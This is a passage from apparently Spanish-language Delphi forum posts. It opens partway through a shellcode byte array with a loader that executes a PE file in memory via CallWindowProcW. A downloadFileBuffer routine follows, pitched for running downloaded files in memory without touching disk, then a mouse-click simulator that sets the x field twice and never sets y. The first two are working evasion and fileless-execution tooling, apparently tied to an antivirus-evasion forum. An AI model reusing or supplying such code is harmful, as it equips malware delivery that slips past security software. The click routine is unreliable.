$FF, $D0, $6A, $22, $E8, $6F, $00, $00, $00, $8B, $09, $8B, $51, $28, $03, $51, $34, $6A, $32, $E8, $60, $00, $00, $00, $8B, $09, $81, $C1, $B0, $00, $00, $00, $89, $11, $6A, $00, $E8, $4F, $00,
$00, $00, $68, $D3, $C7, $A7, $E8, $51, $E8, $7B, $00, $00, $00, $6A, $32, $E8, $3D, $00, $00, $00, $8B, $D1, $6A, $2E, $E8, $34, $00, $00, $00, $8B, $09, $FF, $32, $FF, $71, $04, $FF, $D0, $6A,
$00, $E8, $24, $00, $00, $00, $68, $88, $3F, $4A, $9E, $51, $E8, $50, $00, $00, $00, $6A, $2E, $E8, $12, $00, $00, $00, $8B, $09, $FF, $71, $04, $FF, $D0, $6A, $4A, $E8, $04, $00, $00, $00, $8B,
$21, $61, $C3, $8B, $CB, $03, $4C, $24, $04, $C3, $6A, $00, $E8, $F2, $FF, $FF, $FF, $68, $54, $CA, $AF, $91, $51, $E8, $1E, $00, $00, $00, $6A, $40, $68, $00, $10, $00, $00, $FF, $74, $24, $18,
$6A, $00, $FF, $D0, $FF, $74, $24, $14, $E8, $CF, $FF, $FF, $FF, $89, $01, $83, $C4, $10, $C3, $E8, $22, $00, $00, $00, $68, $A4, $4E, $0E, $EC, $50, $E8, $4B, $00, $00, $00, $83, $C4, $08, $FF,
$74, $24, $04, $FF, $D0, $FF, $74, $24, $08, $50, $E8, $38, $00, $00, $00, $83, $C4, $08, $C3, $55, $52, $51, $53, $56, $57, $33, $C0, $64, $8B, $70, $30, $8B, $76, $0C, $8B, $76, $1C, $8B, $6E,
$08, $8B, $7E, $20, $8B, $36, $38, $47, $18, $75, $F3, $80, $3F, $6B, $74, $07, $80, $3F, $4B, $74, $02, $EB, $E7, $8B, $C5, $5F, $5E, $5B, $59, $5A, $5D, $C3, $55, $52, $51, $53, $56, $57, $8B,
$6C, $24, $1C, $85, $ED, $74, $43, $8B, $45, $3C, $8B, $54, $28, $78, $03, $D5, $8B, $4A, $18, $8B, $5A, $20, $03, $DD, $E3, $30, $49, $8B, $34, $8B, $03, $F5, $33, $FF, $33, $C0, $FC, $AC, $84,
$C0, $74, $07, $C1, $CF, $0D, $03, $F8, $EB, $F4, $3B, $7C, $24, $20, $75, $E1, $8B, $5A, $24, $03, $DD, $66, $8B, $0C, $4B, $8B, $5A, $1C, $03, $DD, $8B, $04, $8B, $03, $C5, $5F, $5E, $5B, $59,
$5A, $5D, $C3, $C3, $00, $00, $00, $00);
//Funcion para leer un archivo binario y guardarlo dentro de una cadena
Function mFileToStr(Ruta: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(Ruta), OF_READ);
uBytes:= GetFileSize(sFile, nil);
SetLength(Result, uBytes);
_lread(sfile, @result[1], uBytes);
_lclose(sFile);
end;
var
buffer:string;
szFilePath:array[1..1024]of widechar;
begin
buffer:=mFileToStr('C:\bcb6kg.EXE'); //Leemos el fichero que queremos usar
GetModuleFileNameW(0,@szFilePath[1],1024); //GetModuleFileNameW equivalente al paramstr(0) pero unicode
writeln(pwidechar(widestring(szFilePath))); //mostramos la direccion actual del proyecto principal
//el problema de llamado consistia en que el path tenia que ser unicode y yo lo manejaba como si fuera ascii
CallWindowProcW(@shell[0],hwnd(@szFilePath[1]),cardinal(@buffer[1]),0,0);//ejecutamos el shellcode
readln;
end.
Funcion downloadFileBuffer
Hola despues de lo comentado en el foro hermano indetectables.net sobre la funcion URLOpenBlockingStream he decicido hacer mi implementacion en Delphi
bueno esta funcion lo que hace es descargar un fichero pero en vez de escribirlo en disco lo guarda en un buffer en memoria.
Bueno el uso que le demos puede ser variado ya que si queremos podemos escribir el contenido de ese buffer o ejecutarlo en memoria sin que toque disco.
el ejemplo viene con un simple ejemplo, me imagino que el va usar este ejemplo ya sabe como ejecutar un fichero en memoria o crear un nuevo fichero a travez de el
si tienen dudas sobre algo me avisan.
uses
SysUtils,ActiveX,URLMon;
type
TBuffer=Array of Byte;
Function downloadFileBuffer(const URL:String):TBuffer;
var
stream:IStream;
sizeFile,sizeSet,bytesWritten:Int64;
buffer:TBuffer;
begin
Result:=nil;
if URLOpenBlockingStream (nil,pchar(URL),stream,0,nil)=S_OK then
begin
stream.Seek(0,STREAM_SEEK_END,sizeFile);
SetLength(buffer,sizeFile);
stream.Seek(0,STREAM_SEEK_SET,sizeSet);
stream.Read(@buffer[0],sizeFile,@bytesWritten);
Result:=buffer;
end;
end;
var
url:String;
buffer:TBuffer;
begin
url:='http://i67.tinypic.com/2v8lv88.png';
buffer:=downloadFileBuffer(url);
if buffer<>nil then
Writeln('Tamano del fichero leido ',Length(buffer))
else
Writeln('Hubo un error ');
Readln;
end.
El codigo ha sido probado en delphi 7
Saludos....
[simulateClick] Funcion que simula el dar un click con el raton usando la api de windows y la version de delphi 2010
uses
SysUtils,windows;
//Simula el click del raton
//parametros
//integer x,y: coordeandas donde queremos hacer click
//Result: retornar cuantos eveentos fueron ejectuados en este caso 2
function simulateClick(const x,y:Integer):Integer;
var
point:TPoint;
input:array[0..1]of TInput;
begin
GetCursorPos(point); //gurdamos coordenadas actuales
SetCursorPos(x,y); //colocamos el puntero en la posicion seleccionada
ZeroMemory(@input,sizeof(input)); //rellenamos de ceros el arreglo de TInput
//configuramos el evento para oprimir con el boton izquierdo del raton
input[0].Itype:=INPUT_MOUSE;
input[0].mi.dx:=x;
input[0].mi.dx:=y;
input[0].mi.dwFlags:=MOUSEEVENTF_LEFTDOWN;
//configuramos el evento para soltar el mouse con el boton izquierdo del raton
input[1].Itype:=INPUT_MOUSE;
input[1].mi.dx:=x;
input[1].mi.dx:=y;
input[1].mi.dwFlags:=MOUSEEVENTF_LEFTUP;
//Ejecutamos los dos eventos anteriores
Result:=SendInput(2,tagInput(input[0]),sizeof(TInput));
//Restauramos las coordenadas originales(simula que no se movio el raton)
SetCursorPos(point.X,point.Y);
end;
//Imprime la posicion X y Y actual del cursor
//conveniente usarlo dentro de un while inifito para saber las coordenadas
//al momento de mover el raton
procedure printPosition;
var point:TPoint;
begin
GetCursorPos(point);
Writeln(point.X,' x ',point.Y);
end;
//Main del programa
begin
simulateClick(20,882);
Writeln('Click simulado');
end.